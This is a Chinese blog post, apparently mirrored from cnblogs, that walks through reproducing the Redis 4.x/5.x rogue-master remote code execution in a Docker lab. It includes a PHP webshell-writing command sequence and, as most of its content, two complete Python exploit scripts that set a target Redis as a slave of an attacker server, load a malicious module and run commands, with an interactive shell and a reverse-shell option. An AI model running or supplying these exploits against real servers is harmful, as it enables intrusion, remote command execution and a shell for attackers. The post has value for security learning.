zoukankan      html  css  js  c++  java
  • Redis 4.x RCE 复现学习

    攻击场景:

    能够访问远程redis的端口(直接访问或者SSRF)
    对redis服务器可以访问到的另一台服务器有控制权

    实际上就是通过主从特性来 同步传输数据,同时利用模块加载来加载恶意的用来进行命令执行的函数,从而进行rce

    redis之前的攻击方法有

    1.写shell

    CONFIG SET dir /VAR/WWW/HTML
    CONFIG SET dbfilename sh.php
    SET PAYLOAD '<?php eval($_GET[0]);?>'
    SAVE

    但是对于网站根目录而言,redis不一定据有写权限

    2.root权限写crontab或者ssh文件

    高版本redis运行时为非root权限,并且写crontab反弹shell也仅仅局限于centos

     攻击的整个流程为:

    1.在我们要攻击的redis服务器上通过slave of来设置master,也就是来设置主服务器
    2.在目标redis服务器上设置dbfilename
    3.通过同步,将主服务器上的数据存到本地,也就是来写入我们的恶意模块(FULLRESYNC <Z*40> 1
    $<len>
    <pld>)
    4.在目标机器上执行load来家在我们的恶意模块(MODULE LOAD /tmp/exp.so)

    环境搭建:

    docker pull hareemca123/redis5:alpine
    docker run -p 192.168.1.6:6379:6379 --name redis hareemca123/redis5:alpine

     exp地址:

    https://github.com/n0b0dyCN/redis-rogue-server

    支持交互式shell和反弹shell

    我们这里尝试写文件都是可以的:

     

    只不过因为在docker里面所以写文件的位置是有限的,这里我只能写到/data,其他地方写不进去,因为这个镜像只是一个redis,如果是服务器上有redis,那么可以尝试向网站的根目录写shell,这里执行命令都是可以的

    这里直接rce的exp:

    源地址:

    https://github.com/vulhub/redis-rogue-getshell

    #!/usr/bin/env python3
    import os
    import sys
    import argparse
    import socketserver
    import logging
    import socket
    import time
    
    logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s')
    DELIMITER = b"
    "
    
    
    class RoguoHandler(socketserver.BaseRequestHandler):
        def decode(self, data):
            if data.startswith(b'*'):
                return data.strip().split(DELIMITER)[2::2]
            if data.startswith(b'$'):
                return data.split(DELIMITER, 2)[1]
    
            return data.strip().split()
    
        def handle(self):
            while True:
                data = self.request.recv(1024)
                logging.info("receive data: %r", data)
                arr = self.decode(data)
                if arr[0].startswith(b'PING'):
                    self.request.sendall(b'+PONG' + DELIMITER)
                elif arr[0].startswith(b'REPLCONF'):
                    self.request.sendall(b'+OK' + DELIMITER)
                elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):
                    self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)
                    self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)
                    self.request.sendall(self.server.payload + DELIMITER)
                    break
    
            self.finish()
    
        def finish(self):
            self.request.close()
    
    
    class RoguoServer(socketserver.TCPServer):
        allow_reuse_address = True
    
        def __init__(self, server_address, payload):
            super(RoguoServer, self).__init__(server_address, RoguoHandler, True)
            self.payload = payload
    
    
    class RedisClient(object):
        def __init__(self, rhost, rport):
            self.client = socket.create_connection((rhost, rport), timeout=10)
    
        def send(self, data):
            data = self.encode(data)
            self.client.send(data)
            logging.info("send data: %r", data)
            return self.recv()
    
        def recv(self, count=65535):
            data = self.client.recv(count)
            logging.info("receive data: %r", data)
            return data
    
        def encode(self, data):
            if isinstance(data, bytes):
                data = data.split()
    
            args = [b'*', str(len(data)).encode()]
            for arg in data:
                args.extend([DELIMITER, b'$', str(len(arg)).encode(), DELIMITER, arg])
    
            args.append(DELIMITER)
            return b''.join(args)
    
    
    def decode_command_line(data):
        if not data.startswith(b'$'):
            return data.decode(errors='ignore')
    
        offset = data.find(DELIMITER)
        size = int(data[1:offset])
        offset += len(DELIMITER)
        data = data[offset:offset+size]
        return data.decode(errors='ignore')
    
    
    def exploit(rhost, rport, lhost, lport, expfile, command, auth):
        with open(expfile, 'rb') as f: 
            server = RoguoServer(('0.0.0.0', lport), f.read()) #在攻击者主机建立伪造redis主服务器,并且设置恶意模块数据
    
        client = RedisClient(rhost, rport) #连接客户端redis,也就是被攻击的redis服务器
    
        lhost = lhost.encode() 
        lport = str(lport).encode()
        command = command.encode()
    
        if auth:
            client.send([b'AUTH', auth.encode()])
    
        client.send([b'SLAVEOF', lhost, lport])  #设置我们的攻击机为master
        client.send([b'CONFIG', b'SET', b'dbfilename', b'exp.so']) #设置用来保存恶意模块的文件名,这里不能跨目录,源码中有限制,lemon师傅已经分析过
        time.sleep(2)
    
        server.handle_request()
        time.sleep(2)
    
        client.send([b'MODULE', b'LOAD', b'./exp.so']) #加载恶意模块
        client.send([b'SLAVEOF', b'NO', b'ONE']) #停止同步主服务器数据
        client.send([b'CONFIG', b'SET', b'dbfilename', b'dump.rdb']) #将恶意模块写入到本地磁盘
        resp = client.send([b'system.exec', command]) #发送要执行的命令
        print(decode_command_line(resp))
    
        client.send([b'MODULE', b'UNLOAD', b'system']) #卸载rce的模块
    
    
    def main():
        parser = argparse.ArgumentParser(description='Redis 4.x/5.x RCE with RedisModules')
        parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True)
        parser.add_argument("-p", "--rport", dest="rport", type=int,
                            help="target redis port, default 6379", default=6379)
        parser.add_argument("-L", "--lhost", dest="lhost", type=str,
                            help="rogue server ip", required=True)
        parser.add_argument("-P", "--lport", dest="lport", type=int,
                            help="rogue server listen port, default 21000", default=21000)
        parser.add_argument("-f", "--file", type=str, help="RedisModules to load, default exp.so", default='exp.so')
        parser.add_argument('-c', '--command', type=str, help='Command that you want to execute', default='id')
    
        parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password")
        options = parser.parse_args()
    
        filename = options.file
        if not os.path.exists(filename):
            logging.info("Where you module? ")
            sys.exit(1)
    
        exploit(options.rhost, options.rport, options.lhost, options.lport, filename, options.command, options.auth) #初始化攻击参数
    
    
    if __name__ == '__main__':
        main()

     这个exp只是用来执行命令的,不带反弹shell,下面这个exp是反弹shell的,但是直接跑有点编码上的问题,需要改一点点:

    #coding:utf-8
    import socket
    import sys
    from time import sleep
    from optparse import OptionParser
    import re
    CLRF = "
    "
    SERVER_EXP_MOD_FILE = "exp.so"
    DELIMITER = b"
    "
    BANNER = """______         _ _      ______                         _____                          
    | ___        | (_)     | ___                        /  ___|                         
    | |_/ /___  __| |_ ___  | |_/ /___   __ _ _   _  ___   `--.  ___ _ ____   _____ _ __ 
    |    // _ / _` | / __| |    // _  / _` | | | |/ _   `--. / _  '__  / / _  '__|
    | |   __/ (_| | \__  | |  (_) | (_| | |_| |  __/ /\__/ /  __/ |    V /  __/ |   
    \_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_|    \_/ \___|_|   
                                         __/ |                                            
                                        |___/                                             
    @copyright n0b0dy @ r3kapig
    """
    
    def encode_cmd_arr(arr):
        cmd = ""
        cmd += "*" + str(len(arr))
        for arg in arr:
            cmd += CLRF + "$" + str(len(arg))
            cmd += CLRF + arg
        cmd += "
    "
        return cmd
    
    def encode_cmd(raw_cmd):
        return encode_cmd_arr(raw_cmd.split(" "))
    
    def decode_cmd(cmd):
        if cmd.startswith("*"):
            raw_arr = cmd.strip().split("
    ")
            return raw_arr[2::2]
        if cmd.startswith("$"):
            return cmd.split("
    ", 2)[1]
        return cmd.strip().split(" ")
    
    def info(msg):
        print(f"33[1;32;40m[info]33[0m {msg}")
    
    def error(msg):
        print(f"33[1;31;40m[err ]33[0m {msg}")
    
    def decode_command_line(data):
        if not data.startswith(b'$'):
            return data.decode(errors='ignore')
    
        offset = data.find(DELIMITER)
        size = int(data[1:offset])
        offset += len(DELIMITER)
        data = data[offset:offset+size]
        print(data)
        return data.decode(errors='ignore')
    
    def din(sock, cnt=65535):
        global verbose
        msg = sock.recv(cnt)
        if verbose:
            if len(msg) < 1000:
                print(f"33[1;34;40m[->]33[0m {msg}")
            else:
                print(f"33[1;34;40m[->]33[0m {msg[:80]}......{msg[-80:]}")
        if sys.version_info < (3, 0):
            res = re.sub(r'[^x00-x7f]', r'', msg)
        else:
            res = re.sub(b'[^x00-x7f]', b'', msg)
        print(decode_command_line(msg))
        return decode_command_line(msg)
    
    def dout(sock, msg):
        global verbose
        if type(msg) != bytes:
            msg = msg.encode()
        sock.send(msg)
        if verbose:
            if len(msg) < 1000:
                print(f"33[1;33;40m[<-]33[0m {msg}")
            else:
                print(f"33[1;33;40m[<-]33[0m {msg[:80]}......{msg[-80:]}")
    
    def decode_shell_result(s):
        return "
    ".join(s.split("
    ")[1:-1])
    
    class Remote:
        def __init__(self, rhost, rport):
            self._host = rhost
            self._port = rport
            self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self._sock.connect((self._host, self._port))
    
        def send(self, msg):
            dout(self._sock, msg)
    
        def recv(self, cnt=65535):
            return din(self._sock, cnt)
    
        def do(self, cmd):
            self.send(encode_cmd(cmd))
            buf = self.recv()
            return buf
    
        def shell_cmd(self, cmd):
            self.send(encode_cmd_arr(['system.exec', f"{cmd}"]))
            buf = self.recv()
            return buf
    
    class RogueServer:
        def __init__(self, lhost, lport):
            self._host = lhost
            self._port = lport
            self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self._sock.bind(('0.0.0.0', self._port))
            self._sock.listen(10)
    
        def close(self):
            self._sock.close()
    
        def handle(self, data):
            cmd_arr = decode_cmd(data)
            resp = ""
            phase = 0
            if cmd_arr[0].startswith("PING"):
                resp = "+PONG" + CLRF
                phase = 1
            elif cmd_arr[0].startswith("REPLCONF"):
                resp = "+OK" + CLRF
                phase = 2
            elif cmd_arr[0].startswith("PSYNC") or cmd_arr[0].startswith("SYNC"):
                resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
                resp += "$" + str(len(payload)) + CLRF
                resp = resp.encode()
                resp += payload + CLRF.encode()
                phase = 3
            return resp, phase
    
        def exp(self):
            cli, addr = self._sock.accept()
            while True:
                data = din(cli, 1024)
                if len(data) == 0:
                    break
                resp, phase = self.handle(data)
                dout(cli, resp)
                if phase == 3:
                    break
    
    def interact(remote):
        info("Interact mode start, enter "exit" to quit.")
        try:
            while True:
                cmd = input("33[1;32;40m[<<]33[0m ").strip()
                if cmd == "exit":
                    return
                r = remote.shell_cmd(cmd)
                for l in decode_shell_result(r).split("
    "):
                    if l:
                        print("33[1;34;40m[>>]33[0m " + l)
        except KeyboardInterrupt:
            pass
    
    def reverse(remote):
        info("Open reverse shell...")
        addr = input("Reverse server address: ")
        port = input("Reverse server port: ")
        dout(remote, encode_cmd(f"system.rev {addr} {port}"))
        info("Reverse shell payload sent.")
        info(f"Check at {addr}:{port}")
    
    def cleanup(remote):
        info("Unload module...")
        remote.do("MODULE UNLOAD system")
    
    def runserver(rhost, rport, lhost, lport):
        # expolit
        remote = Remote(rhost, rport)
        info("Setting master...")
        remote.do(f"SLAVEOF {lhost} {lport}")
        info("Setting dbfilename...")
        remote.do(f"CONFIG SET dbfilename {SERVER_EXP_MOD_FILE}")
        sleep(2)
        rogue = RogueServer(lhost, lport)
        rogue.exp()
        sleep(2)
        info("Loading module...")
        remote.do(f"MODULE LOAD ./{SERVER_EXP_MOD_FILE}")
        info("Temerory cleaning up...")
        remote.do("SLAVEOF NO ONE")
        remote.do("CONFIG SET dbfilename dump.rdb")
        remote.shell_cmd(f"rm ./{SERVER_EXP_MOD_FILE}")
        rogue.close()
    
        # Operations here
        choice = input("What do u want, [i]nteractive shell or [r]everse shell: ")
        if choice.startswith("i"):
            interact(remote)
        elif choice.startswith("r"):
            reverse(remote)
    
        cleanup(remote)
    
    if __name__ == '__main__':
        print(BANNER)
        parser = OptionParser()
        parser.add_option("--rhost", dest="rh", type="string",
                help="target host", metavar="REMOTE_HOST")
        parser.add_option("--rport", dest="rp", type="int",
                help="target redis port, default 6379", default=6379,
                metavar="REMOTE_PORT")
        parser.add_option("--lhost", dest="lh", type="string",
                help="rogue server ip", metavar="LOCAL_HOST")
        parser.add_option("--lport", dest="lp", type="int",
                help="rogue server listen port, default 21000", default=21000,
                metavar="LOCAL_PORT")
        parser.add_option("--exp", dest="exp", type="string",
                help="Redis Module to load, default exp.so", default="exp.so",
                metavar="EXP_FILE")
        parser.add_option("-v", "--verbose", action="store_true", default=False,
                help="Show full data stream")
    
        (options, args) = parser.parse_args()
        global verbose, payload, exp_mod
        verbose = options.verbose
        exp_mod = options.exp
        payload = open(exp_mod, "rb").read()
    
        if not options.rh or not options.lh:
            parser.error("Invalid arguments")
    
        info(f"TARGET {options.rh}:{options.rp}")
        info(f"SERVER {options.lh}:{options.lp}")
        try:
            runserver(options.rh, options.rp, options.lh, options.lp)
        except Exception as e:
            error(repr(e))

    我结合第一个exp的redis数据解码方式把第二个的稍微改了下,多字节解码可能报错直接decode(errors="ignore")忽略就好了,接下来就可以执行交互式shell或者反弹shell

  • 相关阅读:
    抱歉,我不接私单了
    MySQL大小写补坑记
    Go 系列教程 —— 第 15 部分:指针
    Go 系列教程 —— 14. 字符串
    Go 系列教程 —— 13. Maps
    Go 系列教程 —— 12. 可变参数函数
    Go 系列教程 —— 11. 数组和切片
    Go 系列教程 — 10. switch 语句
    Go 系列教程 — 9. 循环
    Go 系列教程 —— 8. if-else 语句
  • 原文地址:https://www.cnblogs.com/tr1ple/p/11256366.html
Copyright © 2011-2022 走看看